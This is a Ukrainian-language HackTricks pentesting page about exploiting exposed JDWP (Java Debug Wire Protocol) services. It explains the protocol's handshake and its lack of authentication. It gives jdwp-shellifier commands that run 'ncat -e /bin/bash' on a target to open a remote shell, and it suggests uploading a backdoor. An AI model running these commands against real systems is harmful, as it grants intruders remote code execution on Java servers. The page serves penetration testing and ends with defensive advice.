mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
86 lines
9 KiB
Markdown
86 lines
9 KiB
Markdown
# Тестування на проникнення JDWP - Протокол відлагодження Java
|
||
|
||
<details>
|
||
|
||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Інші способи підтримки HackTricks:
|
||
|
||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
|
||
|
||
</details>
|
||
|
||
## Експлуатація
|
||
|
||
Експлуатація JDWP ґрунтується на **відсутності аутентифікації та шифрування в протоколі**. Зазвичай він знаходиться на **порту 8000**, але можливі інші порти. Початкове підключення відбувається шляхом відправлення "JDWP-Handshake" на цільовий порт. Якщо служба JDWP активна, вона відповідає тим самим рядком, підтверджуючи свою присутність. Цей рукостиск діє як метод відбору для ідентифікації служб JDWP в мережі.
|
||
|
||
Щодо ідентифікації процесу, пошук рядка "jdwk" в процесах Java може вказувати на активну сесію JDWP.
|
||
|
||
Основним інструментом є [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Ви можете використовувати його з різними параметрами:
|
||
```bash
|
||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||
```
|
||
Я виявив, що використання `--break-on 'java.lang.String.indexOf'` робить експлойт більш **стабільним**. І якщо у вас є можливість завантажити backdoor на хост і виконати його замість виконання команди, експлойт буде ще стабільнішим.
|
||
|
||
## Детальніше
|
||
|
||
**Це краткий огляд [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Перевірте його для отримання додаткових відомостей.
|
||
|
||
|
||
1. **Огляд JDWP**:
|
||
- Це мережевий бінарний протокол на основі пакетів, в основному синхронний.
|
||
- Відсутність аутентифікації та шифрування робить його вразливим при взаємодії з ворожими мережами.
|
||
|
||
2. **Рукостискання JDWP**:
|
||
- Для ініціювання комунікації використовується простий процес рукостискання. Між відлагоджувачем (клієнтом) та відлагоджуваним (сервером) обмінюється 14-символьний ASCII-рядок "JDWP-Handshake".
|
||
|
||
3. **Комунікація JDWP**:
|
||
- Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор та НабірКоманд.
|
||
- Значення НаборуКоманд коливаються від 0x40 до 0x80, що представляють різні дії та події.
|
||
|
||
4. **Експлуатація**:
|
||
- JDWP дозволяє завантажувати та викликати довільні класи та байткод, що створює ризики безпеки.
|
||
- Стаття деталізує процес експлуатації у п'яти кроках, що включає отримання посилань на Java Runtime, встановлення точок зупинки та виклик методів.
|
||
|
||
5. **Експлуатація в реальному житті**:
|
||
- Незважаючи на потенційні захисні заходи брандмауеру, служби JDWP виявляються та експлуатуються в реальних сценаріях, як показано пошуками на платформах, таких як ShodanHQ та GitHub.
|
||
- Скрипт експлойту був протестований на різних версіях JDK та є платформонезалежним, пропонуючи надійне виконання коду на віддаленому сервері (RCE).
|
||
|
||
6. **Наслідки для безпеки**:
|
||
- Наявність відкритих служб JDWP в Інтернеті підкреслює необхідність регулярних перевірок безпеки, вимкнення функцій відлагодження в продакшені та належної конфігурації брандмауера.
|
||
|
||
|
||
### **Посилання:**
|
||
|
||
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
||
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
||
* [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
|
||
* http://www.secdev.org/projects/scapy(no longer active)
|
||
* [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
||
* http://www.hsc-news.com/archives/2013/000109.html (no longer active)
|
||
* [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
||
* https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
|
||
* [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
||
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
||
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Інші способи підтримки HackTricks:
|
||
|
||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||
|
||
</details>
|